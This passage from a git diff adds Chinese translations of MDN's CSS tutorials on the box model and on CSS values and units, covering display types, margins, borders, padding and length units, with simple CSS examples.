为主题展开。旨在于完成学习后,您能够在“理解盒装模型原理”的基础上,完成更加复杂的布局任务。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识(Prerequisites):</th> + <td> + <p>基本的计算机知识,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本的软件</a>,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>基本知识, HTML基础知识 (如果不了解HTML,请移步 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">学习HTML入门</a>),以及CSS如何工作的基本常识 (如果不了解CSS,请移步 <a href="/en-US/docs/Learn/CSS/First_steps">学习CSS第一步</a>.)</p> + </td> + </tr> + <tr> + <th scope="row">学习目标(Objective):</th> + <td>学习盒模型的基本理论,了解盒装模型的工作原理,了解盒模型与替代模型的区别以及如何进行切换。</td> + </tr> + </tbody> +</table> + +<h2 id="块级盒子(Block_box)_和_内联盒子(Inline_box)">块级盒子(Block box) 和 内联盒子(Inline box)</h2> + +<p>在 CSS 中我们广泛地使用两种“盒子” —— <strong>块级</strong><strong>盒子</strong> (<strong>block box</strong>) 和 <strong>内联盒子</strong> (<strong>inline box</strong>)<strong>。</strong>这两种盒子会在<strong>页面流</strong>(page flow)和<strong>元素之间的关系</strong>方面表现出不同的行为:</p> + +<p>一个被定义成块级的(block)盒子会表现出以下行为:</p> + +<ul> + <li>盒子会在内联的方向上扩展并占据父容器在该方向上的所有可用空间,在绝大数情况下意味着盒子会和父容器一样宽</li> + <li>每个盒子都会换行</li> + <li>{{cssxref("width")}} 和 {{cssxref("height")}} 属性可以发挥作用</li> + <li>内边距(padding), 外边距(margin) 和 边框(border) 会将其他元素从当前盒子周围“推开”</li> +</ul> + +<p>除非特殊指定,诸如标题(<code><h1></code>等)和段落(<code><p></code>)默认情况下都是块级的盒子。</p> + +<p>如果一个盒子对外显示为 <code>inline</code>,那么他的行为如下:</p> + +<ul> + <li>盒子不会产生换行。</li> + <li> {{cssxref("width")}} 和 {{cssxref("height")}} 属性将不起作用。</li> + <li>垂直方向的内边距、外边距以及边框会被应用但是不会把其他处于 <code>inline</code> 状态的盒子推开。</li> + <li>水平方向的内边距、外边距以及边框会被应用且会把其他处于 <code>inline</code> 状态的盒子推开。</li> +</ul> + +<p>用做链接的 <code><a></code> 元素、 <code><span></code>、 <code><em></code> 以及 <code><strong></code> 都是默认处于 <code>inline</code> 状态的。</p> + +<p>我们通过对盒子{{cssxref("display")}} 属性的设置,比如 <code>inline</code> 或者 <code>block</code> ,来控制盒子的外部显示类型。</p> + +<h2 id="补充_内部和外部显示类型">补充: 内部和外部显示类型</h2> + +<p>在这里最好也解释下<strong>内部</strong> 和 <strong>外部</strong> 显示类型。如上所述, css的box模型有一个外部显示类型,来决定盒子是块级还是内联。</p> + +<p>同样盒模型还有内部显示类型,它决定了盒子内部元素是如何布局的。默认情况下是按照 <strong><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">正常文档流</a> </strong>布局,也意味着它们和其他块元素以及内联元素一样(如上所述).</p> + +<p>但是,我们可以通过使用类似 <code>flex</code> 的 <code>display</code> 属性值来更改内部显示类型。 如果设置 <code>display: flex</code>,在一个元素上,外部显示类型是 <code>block</code>,但是内部显示类型修改为 <code>flex</code>。 该盒子的所有直接子元素都会成为flex元素,会根据 <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒子(Flexbox</a> <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">)</a>规则进行布局,稍后您将了解这些规则。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 想要了解更多有关显示值以及盒子在块和内联布局中的工作原理,请参阅 <a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout</a>.</p> +</div> + +<p>当你进一步了解css布局的更多细节的时候,你会了解到 <code>flex</code>, 和其他内部显示类型会用到的值,例如 <code><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">grid</a></code>。</p> + +<p>块级和内联布局是web上默认的行为 —— 正如上面所述, 它有时候被称为 <em>正常文档流</em>, 因为如果没有其他说明,我们的盒子布局默认是块级或者内联。</p> + +<h2 id="不同显示类型的例子">不同显示类型的例子</h2> + +<p>让我们继续看看别的例子。下面三个html元素,都有一个外部显示类型 <code>block</code>。第一个是一个段落,在 CSS 中加了边框。浏览器把它渲染成一个块级盒子,所以段落从新的一行开始,而且宽度占满一行。</p> + +<p>第二个是一个列表,布局属性是 <code>display: flex</code>。 将在容器中建立一个flex布局,但是每个列表是一个块级元素 —— 像段落一样 —— 会充满整个容器的宽度并且换行。</p> + +<p>下面有个块级段落,里面有两个 <code><span></code> 元素。正常情况下是 <code>inline</code>,但是其中一个加了block类,设置属性 <code>display: block</code>。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}} </p> + +<p>我们可以看到 <code>inline</code> 元素在下面例子中的表现。 <code><span></code> 在第一段默认是内联元素所以不换行。</p> + +<p>还有一个 <code><ul></code> 设置为 <code>display: inline-flex</code>,使得在一些flex元素外创建一个内联框。</p> + +<p>最后设置两个段落为 <code>display: inline</code>。 inline flex 容器和段落在一行上而不是像块级元素一样换行。</p> + +<p><strong>你可以修改 <code>display: inline</code> 为 <code>display: block</code> 或者 <code>display: inline-flex</code> 改为 <code>display: flex</code> 来观察显示模式切换。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}} </p> + +<p>在后面的内容中会遇到诸如弹性盒子布局的内容;现在需要记住的是, <code>display</code> 属性可以改变盒子的外部显示类型是块级还是内联,这将会改变它与布局中的其他元素的显示方式。 </p> + +<p>剩下的内容,我们会专注于外部显示类型。</p> + +<h2 id="什么是CSS_盒模型">什么是CSS 盒模型?</h2> + +<p>完整的 CSS 盒模型应用于块级盒子,内联盒子只使用盒模型中定义的部分内容。模型定义了盒的每个部分 —— margin, border, padding, and content —— 合在一起就可以创建我们在页面上看到的内容。为了增加一些额外的复杂性,有一个标准的和替代(IE)的盒模型。</p> + +<h3 id="盒模型的各个部分">盒模型的各个部分</h3> + +<p> CSS中组成一个块级盒子需要:</p> + +<ul> + <li><strong>Content box</strong>: 这个区域是用来显示内容,大小可以通过设置 {{cssxref("width")}} 和 {{cssxref("height")}}.</li> + <li><strong>Padding box</strong>: 包围在内容区域外部的空白区域; 大小通过 {{cssxref("padding")}} 相关属性设置。</li> + <li><strong>Border box</strong>: 边框盒包裹内容和内边距。大小通过 {{cssxref("border")}} 相关属性设置。</li> + <li><strong>Margin box</strong>: 这是最外面的区域,是盒子和其他元素之间的空白区域。大小通过 {{cssxref("margin")}} 相关属性设置。</li> +</ul> + +<p>如下图:</p> + +<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p> + +<h3 id="标准盒模型">标准盒模型</h3> + +<p>在标准模型中,如果你给盒设置 <code>width</code> 和 <code>height</code>,实际设置的是 <em>content box</em>。 padding 和 border 再加上设置的宽高一起决定整个盒子的大小。 见下图。</p> + +<p>假设定义了 <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, and <code>padding</code>:</p> + +<pre class="brush: css notranslate">.box { + width: 350px; + height: 150px; + margin: 25px; + padding: 25px; + border: 5px solid black; +} +</pre> + +<p>如果使用标准模型宽度 = 410px (350 + 25 + 25 + 5 + 5),高度 = 210px (150 + 25 + 25 + 5 + 5),padding 加 border 再加 content box。</p> + +<p><img alt="Showing the size of the box when the standard box model is being used." src="https://mdn.mozillademos.org/files/16559/standard-box-model.png" style="height: 300px; width: 500px;"></p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: margin 不计入实际大小 —— 当然,它会影响盒子在页面所占空间,但是影响的是盒子外部空间。盒子的范围到边框为止 —— 不会延伸到margin。</p> +</div> + +<h3 id="替代(IE)盒模型">替代(IE)盒模型</h3> + +<p>你可能会认为盒子的大小还要加上边框和内边距,这样很麻烦,而且你的想法是对的! 因为这个原因,css还有一个替代盒模型。使用这个模型,所有宽度都是可见宽度,所以内容宽度是该宽度减去边框和填充部分。使用上面相同的样式得到 (width = 350px, height = 150px).</p> + +<p><img alt="Showing the size of the box when the alternate box model is being used." src="https://mdn.mozillademos.org/files/16557/alternate-box-model.png" style="height: 240px; width: 440px;"></p> + +<p>默认浏览器会使用标准模型。如果需要使用替代模型,您可以通过为其设置 <code>box-sizing: border-box</code> 来实现。 这样就可以告诉浏览器使用 <code>border-box</code> 来定义区域,从而设定您想要的大小。</p> + +<pre class="brush: css notranslate"><code>.box { + box-sizing: border-box; +} </code></pre> + +<p>如果你希望所有元素都使用替代模式,而且确实很常用,设置 <code>box-sizing</code> 在 <code><html></code> 元素上,然后设置所有元素继承该属性,正如下面的例子。如果想要深入理解,请看 <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">the CSS Tricks article on box-sizing</a>。</p> + +<pre class="brush: css notranslate"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span> + <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span> +<span class="punctuation token">}</span> +<span class="selector token">*, *<span class="pseudo-element token">::before</span>, *<span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span> + <span class="property token">box-sizing</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<div class="blockIndicator note"> +<p><strong>注:</strong> 一个有趣的历史记录 ——Internet Explorer默认使用替代盒模型,没有可用的机制来切换。(译者注:IE8+ 支持使用<code class="language-css"><span class="property token">box-sizing</span></code> 进行切换 )</p> +</div> + +<h2 id="玩转盒模型">玩转盒模型</h2> + +<p>下面的例子中,你可以看到两个盒子。都有类 <code>.box</code>,给了相同的 <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, and <code>padding</code>。唯一区别是第二个设置了替代模型。</p> + +<p><strong>你能改变第二个盒子的大小 (通过添加 CSS 到 <code>.alternate</code> 类中) 让它和第一个盒子宽高一样吗?</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}} </p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model">You can find a solution for this task here</a>.</p> +</div> + +<h3 id="使用调试工具来查看盒模型">使用调试工具来查看盒模型</h3> + +<p>您的 <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">浏览器开发者工具</a> 可以使您更容易地理解box模型。如果您在Firefox的DevTools中查看一个元素,您可以看到元素的大小以及它的外边距、内边距和边框。这是一个很好的检查元素大小的方式,可以便捷的判断您的盒子大小是否符合预期 !</p> + +<p><img alt="Inspecting the box model of an element using Firefox DevTools" src="https://mdn.mozillademos.org/files/16560/box-model-devtools.png" style="height: 683px; width: 1150px;"></p> + +<h2 id="外边距,内边距,边框">外边距,内边距,边框</h2> + +<p>您已经在上面的示例中看到了{{cssxref("margin")}}、{{cssxref("padding")}}和{{cssxref("border")}}属性。该示例中使用的是属性的<strong>简写</strong>,允许我们一次设置盒子的四个边。这些简写等价于分别控制盒子的不同边的普通写法。</p> + +<p>接下来,我们更详细地研究这些属性:</p> + +<h3 id="外边距">外边距</h3> + +<p>外边距是盒子周围一圈看不到的空间。它会把其他元素从盒子旁边推开。 外边距属性值可以为正也可以为负。设置负值会导致和其他内容重叠。无论使用标准模型还是替代模型,外边距总是在计算可见部分后额外添加。</p> + +<p>我们可以使用{{cssxref("margin")}}属性一次控制一个元素的所有边距,或者每边单独使用等价的普通属性控制:</p> + +<ul> + <li>{{cssxref("margin-top")}}</li> + <li>{{cssxref("margin-right")}}</li> + <li>{{cssxref("margin-bottom")}}</li> + <li>{{cssxref("margin-left")}}</li> +</ul> + +<p><strong>在下面的示例中,尝试更改外边距的值,来查看当前元素和其包含元素,在外边距设置为正时是如何推开周边元素,以及设置为负时,是如何收缩空间的。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}} </p> + +<h4 id="外边距折叠"><strong>外边距折叠</strong></h4> + +<p>理解外边距的一个关键是外边距折叠的概念。如果你有两个外边距相接的元素,这些外边距将合并为一个外边距,即最大的单个外边距的大小。</p> + +<p>在下面的例子中,我们有两个段落。顶部段落的页 <code>margin-bottom</code>为50px。第二段的<code>margin-top</code> 为30px。因为外边距折叠的概念,所以框之间的实际外边距是50px,而不是两个外边距的总和。</p> + +<p><strong>您可以通过将第2段的 <code>margin-top</code> 设置为0来测试它。两个段落之间的可见边距不会改变——它保留了第一个段落 <code>margin-bottom</code>设置的50像素。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 800)}} </p> + +<p>有许多规则规定了什么时候外边距会折叠,什么时候不会折叠。相关更多信息,请参阅 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">mastering margin collapsing</a>。现在首先要记住的事情是,外边距会折叠这个事情。如果你用外边距创建空间而没有得到你想要的效果,那这可能就是这个原因。</p> + +<h3 id="边框">边框</h3> + +<p>边框是在边距和填充框之间绘制的。如果您正在使用标准的盒模型,边框的大小将添加到框的宽度和高度。如果您使用的是替代盒模型,那么边框的大小会使内容框更小,因为它会占用一些可用的宽度和高度。</p> + +<p>为边框设置样式时,有大量的属性可以使用——有四个边框,每个边框都有样式、宽度和颜色,我们可能需要对它们进行操作。</p> + +<p>可以使用{{cssxref("border")}}属性一次设置所有四个边框的宽度、颜色和样式。</p> + +<p>分别设置每边的宽度、颜色和样式,可以使用:</p> + +<ul> + <li>{{cssxref("border-top")}}</li> + <li>{{cssxref("border-right")}}</li> + <li>{{cssxref("border-bottom")}}</li> + <li>{{cssxref("border-left")}}</li> +</ul> + +<p>设置所有边的颜色、样式或宽度,请使用以下属性:</p> + +<ul> + <li>{{cssxref("border-width")}}</li> + <li>{{cssxref("border-style")}}</li> + <li>{{cssxref("border-color")}}</li> +</ul> + +<p>设置单边的颜色、样式或宽度,可以使用最细粒度的普通属性之一:</p> + +<ul> + <li>{{cssxref("border-top-width")}}</li> + <li>{{cssxref("border-top-style")}}</li> + <li>{{cssxref("border-top-color")}}</li> + <li>{{cssxref("border-right-width")}}</li> + <li>{{cssxref("border-right-style")}}</li> + <li>{{cssxref("border-right-color")}}</li> + <li>{{cssxref("border-bottom-width")}}</li> + <li>{{cssxref("border-bottom-style")}}</li> + <li>{{cssxref("border-bottom-color")}}</li> + <li>{{cssxref("border-left-width")}}</li> + <li>{{cssxref("border-left-style")}}</li> + <li>{{cssxref("border-left-color")}}</li> +</ul> + +<p><strong>设置边框的颜色、样式或宽度,可以使用最细粒度的普通属性或者简写属性。在下面的示例中,我们使用了各种普通属性或者简写属性来创建边框。尝试一下不同的属性,以检查您是否理解它们是如何工作的。MDN中的边框属性页面为您提供可用的不同边框样式的信息。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} </p> + +<h3 id="内边距">内边距</h3> + +<p>内边距位于边框和内容区域之间。与外边距不同,您不能有负数量的内边距,所以值必须是0或正的值。应用于元素的任何背景都将显示在内边距后面,内边距通常用于将内容推离边框。</p> + +<p><br> + 我们可以使用{{cssxref("padding")}}简写属性控制元素所有边,或者每边单独使用等价的普通属性:</p> + +<ul> + <li>{{cssxref("padding-top")}}</li> + <li>{{cssxref("padding-right")}}</li> + <li>{{cssxref("padding-bottom")}}</li> + <li>{{cssxref("padding-left")}}</li> +</ul> + +<p><strong>如果在下面的示例中更改类<code>.box</code>的内边距值,您可以看到,这将更改文本开始的位置。</strong></p> + +<p><br> + <strong>您还可以更改类<code>.container</code>的内边距,这将在容器和方框之间留出空间。任何元素上的内边距都可以更改,并在其边界和元素内部的任何内容之间留出空间。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} </p> + +<h2 id="盒子模型和内联盒子">盒子模型和内联盒子</h2> + +<p>以上所有的方法都完全适用于块级盒子。有些属性也可以应用于内联盒子,例如由<code><span></code>元素创建的那些内联盒子。</p> + +<p><br> + 在下面的示例中,我们在一个段落中使用了<code><span></code>,并对其应用了宽度、高度、边距、边框和内边距。可以看到,宽度和高度被忽略了。外边距、内边距和边框是生效的,但它们不会改变其他内容与内联盒子的关系,因此内边距和边框会与段落中的其他单词重叠。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} </p> + +<h2 id="使用display_inline-block">使用display: inline-block</h2> + +<p>display有一个特殊的值,它在内联和块之间提供了一个中间状态。这对于以下情况非常有用:您不希望一个项切换到新行,但希望它可以设定宽度和高度,并避免上面看到的重叠。</p> + +<p>一个元素使用 <code>display: inline-block</code>,实现我们需要的块级的部分效果:</p> + +<ul> + <li>设置<code>width</code> 和<code>height</code> 属性会生效。</li> + <li><code>padding</code>, <code>margin</code>, 以及<code>border</code> 会推开其他元素。</li> +</ul> + +<p>但是,它不会跳转到新行,如果显式添加<code>width</code> 和<code>height</code> 属性,它只会变得比其内容更大。</p> + +<p><strong>在下一个示例中,我们将<code>display: inline-block</code>添加到<code><span></code>元素中。尝试将此更改为<code>display: block</code> 或完全删除行,以查看显示模型中的差异</strong>。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}} </p> + +<p>当您想要通过添加内边距使链接具有更大的命中区域时,这是很有用的。<code><a></code>是像<code><span</code>>一样的内联元素;你可以使用<code>display: inline-block</code>来设置内边距,让用户更容易点击链接。</p> + +<p>这种情况在导航栏中很常见。下面的导航使用flexbox显示在一行中,我们为<code><a></code>元素添加了内边距,因为我们希望能够在<code><a></code>在鼠标移动到上面时改变背景色。内边距似乎覆盖了<code><ul></code>元素上的边框。这是因为<code><a></code>是一个内联元素。</p> + +<p><strong>使用<code>.links-list a</code>选择器将<code>display: inline-block</code>添加到样式规则中,您将看到它是如何通过内边距推开其他元素来修复这个问题的。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}} </p> + +<h2 id="总结">总结</h2> + +<p>这就是你需要了解的关于盒子模型的大部分内容。如果以后你发现对于盒模型的布局仍有困惑,你将会回来温故这些内容。</p> + +<p>在下一节课中,我们将看看如何使用 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景和边框</a> 来使你的普通盒子看起来更有趣。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/values_and_units/index.html b/files/zh-cn/learn/css/building_blocks/values_and_units/index.html new file mode 100644 index 0000000000..4a8145d460 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/values_and_units/index.html @@ -0,0 +1,388 @@ +--- +title: CSS的值与单位 +slug: Learn/CSS/Building_blocks/Values_and_units +translation_of: Learn/CSS/Building_blocks/Values_and_units +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</div> + +<p>CSS中使用的每个属性都允许拥有一个或一组值,查看MDN上的任何属性页将帮助您理解对任何特定属性有效的值。在本节课中,我们将学习一些最常用的值和单位。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本的软件</a>,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>基本知识, HTML基础知识 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">学习HTML入门</a>),以及CSS如何工作的基本常识 (如果完全不了解CSS,请移步 <a href="/en-US/docs/Learn/CSS/First_steps">学习CSS第一步</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解CSS属性中使用的不同类型的值和单位。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是CSS的值">什么是CSS的值?</h2> + +<p>在CSS规范和MDN的属性页上,您将能够发现值的存在,因为它们将被尖括号包围,如<code><color></code>或<code><length></code>。当您看到值<code><color></code>对特定属性有效时,这意味着您可以使用任何有效的颜色作为该属性的值,如 <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><color></a></code>参考页面所列。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:您还将看到被称为数据类型的CSS值。这些术语基本上是可以互换的——当你在CSS中看到一些被称为数据类型的东西时,它实际上只是一种表示值的奇特方式。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 是的,CSS值倾向于使用尖括号表示,以区别于CSS属性(例如{{cssxref("color")}}属性和 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><color></a> 数据类型)。您可能还会混淆CSS数据类型和HTML元素,因为它们都使用尖括号,但这不太可能——它们在完全不一样的上下文中使用。</p> +</div> + +<p>在下面的例子中,我们使用关键字设置标题的颜色,使用<code>rgb()</code>函数设置背景:</p> + +<pre class="brush: css"><code>h1 { + color: black; + background-color: rgb(197,93,161); +} </code> +</pre> + +<p>CSS中的值是一种定义允许子值集合的方法。这意味着如果您看到<code><color></code>是有效的,那么您就不需要考虑可以使用哪些不同类型的颜色值—关键字、十六进制值、<code>rgb()</code>函数等等。假设浏览器支持这些可用的<code><color></code>值,则可以使用它们任意一个。MDN上针对每个值的页面将提供有关浏览器支持的信息。例如,如果您查看 <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value"><color></a></code>的页面,您将看到浏览器兼容性部分列出了不同类型的颜色值以及对它们的支持。</p> + +<p>让我们来看看您可能经常遇到的一些值和单位类型,并提供一些示例,以便您尝试使用各种值的可能性。</p> + +<h2 id="数字,长度和百分比">数字,长度和百分比</h2> + +<p>您可能会发现自己在CSS中使用了各种数值数据类型。 以下全部归类为数值:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">数值类型</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code><a href="/en-US/docs/Web/CSS/integer"><integer></a></code></td> + <td><code><a href="/en-US/docs/Web/CSS/integer"><integer></a></code>是一个整数,比如1024或-55。</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/CSS/number"><number></a></code></td> + <td><code><a href="/en-US/docs/Web/CSS/number"><number></a></code>表示一个小数——它可能有小数点后面的部分,也可能没有,例如0.255、128或-1.2。</td> + </tr> + <tr> + <td><code><dimension></code></td> + <td><code><dimension></code>是一个<code><number></code>,它有一个附加的单位,例如45deg、5s或10px。<code><dimension></code>是一个伞形类别,包括<code><length></code>、<code><angle></code>、<code><time></code>和<code><resolution></code>类型。</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/CSS/percentage"><percentage></a></code></td> + <td><code><a href="/en-US/docs/Web/CSS/percentage"><percentage></a></code>表示一些其他值的一部分,例如50%。百分比值总是相对于另一个量,例如,一个元素的长度相对于其父元素的长度。</td> + </tr> + </tbody> +</table> + +<h3 id="长度">长度</h3> + +<p>最常见的数字类型是<code><length></code>,例如10px(像素)或30em。CSS中有两种类型的长度——相对长度和绝对长度。重要的是要知道它们之间的区别,以便理解他们控制的元素将变得有多大。</p> + +<h4 id="绝对长度单位">绝对长度单位</h4> + +<p>以下都是<strong>绝对</strong>长度单位——它们与其他任何东西都没有关系,通常被认为总是相同的大小。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">单位</th> + <th scope="col">名称</th> + <th scope="col">等价换算</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>cm</code></td> + <td>厘米</td> + <td>1cm = 96px/2.54</td> + </tr> + <tr> + <td><code>mm</code></td> + <td>毫米</td> + <td>1mm = 1/10th of 1cm</td> + </tr> + <tr> + <td><code>Q</code></td> + <td>四分之一毫米</td> + <td>1Q = 1/40th of 1cm</td> + </tr> + <tr> + <td><code>in</code></td> + <td>英寸</td> + <td>1in = 2.54cm = 96px</td> + </tr> + <tr> + <td><code>pc</code></td> + <td>十二点活字</td> + <td>1pc = 1/16th of 1in</td> + </tr> + <tr> + <td><code>pt</code></td> + <td>点</td> + <td>1pt = 1/72th of 1in</td> + </tr> + <tr> + <td><code>px</code></td> + <td>像素</td> + <td>1px = 1/96th of 1in</td> + </tr> + </tbody> +</table> + +<p>这些值中的大多数在用于打印时比用于屏幕输出时更有用。例如,我们通常不会在屏幕上使用cm。惟一一个您经常使用的值,估计就是px(像素)。</p> + +<h4 id="相对长度单位">相对长度单位</h4> + +<p>相对长度单位相对于其他一些东西,比如父元素的字体大小,或者视图端口的大小。使用相对单位的好处是,经过一些仔细的规划,您可以使文本或其他元素的大小与页面上的其他内容相对应。下表列出了web开发中一些最有用的单位。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">单位</th> + <th scope="col">相对于</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>em</code></td> + <td>在 font-size 中使用是相对于父元素的字体大小,在其他属性中使用是相对于自身的字体大小,如 width</td> + </tr> + <tr> + <td><code>ex</code></td> + <td>字符“x”的高度</td> + </tr> + <tr> + <td><code>ch</code></td> + <td>数字“0”的宽度</td> + </tr> + <tr> + <td><code>rem</code></td> + <td>根元素的字体大小</td> + </tr> + <tr> + <td><code>lh</code></td> + <td>元素的line-height</td> + </tr> + <tr> + <td><code>vw</code></td> + <td>视窗宽度的1%</td> + </tr> + <tr> + <td><code>vh</code></td> + <td>视窗高度的1%</td> + </tr> + <tr> + <td><code>vmin</code></td> + <td>视窗较小尺寸的1%</td> + </tr> + <tr> + <td><code>vmax</code></td> + <td>视图大尺寸的1%</td> + </tr> + </tbody> +</table> + +<h4 id="探索一个例子">探索一个例子</h4> + +<p>在下面的示例中,您可以看到一些相对长度单位和绝对长度单位的行为。第一个框以像素为单位设置{{cssxref("width")}}。作为一个绝对单位,这个宽度将保持不变,无论其他如何变化。</p> + +<p>第二个框的宽度设置为<code>vw</code>(视口宽度)单位。这个值相对于视口宽度,所以10<code>vw</code>是视口宽度的10%。如果您更改浏览器窗口的宽度,那么框的大小应该会更改,但是这个示例使用<iframe>嵌入到页面中,所以这将不起作用。要查看实际情况,您必须在打开示例的浏览器选项卡后尝试该示例 <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">试一试</a>。</p> + +<p>第三个盒子使用em单位。这些是相对于字体大小的。我在包含{{htmlelement("div")}}的元素上设置了一个1em的字体大小,它有一个<code>.wrapper</code>类。将这个值更改为1.5em,您将看到所有元素的字体大小都增加了,但是只有最后一项会变宽,因为宽度与字体大小有关。</p> + +<p>按照上面的说明操作之后,尝试以其他方式处理这些值,看看您将收获什么。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}</p> + +<h4 id="ems_and_rems">ems and rems</h4> + +<p><code>em</code>和<code>rem</code>是您在从框到文本调整大小时最常遇到的两个相对长度。了解这些方法是如何工作的以及它们之间的区别是很有意义的,尤其是当您开始学习更复杂的主题时,比如样式化文本或CSS布局。下面的示例提供了一个演示。</p> + +<p>HTML是一组嵌套的列表—我们总共有三个列表,并且两个示例都有相同的HTML。唯一的区别是第一个类具有ems,第二个类具有rems。</p> + +<p>首先,我们将16px设置为<code><html></code>元素的字体大小。</p> + +<p><strong>概括地说,在排版属性中 em 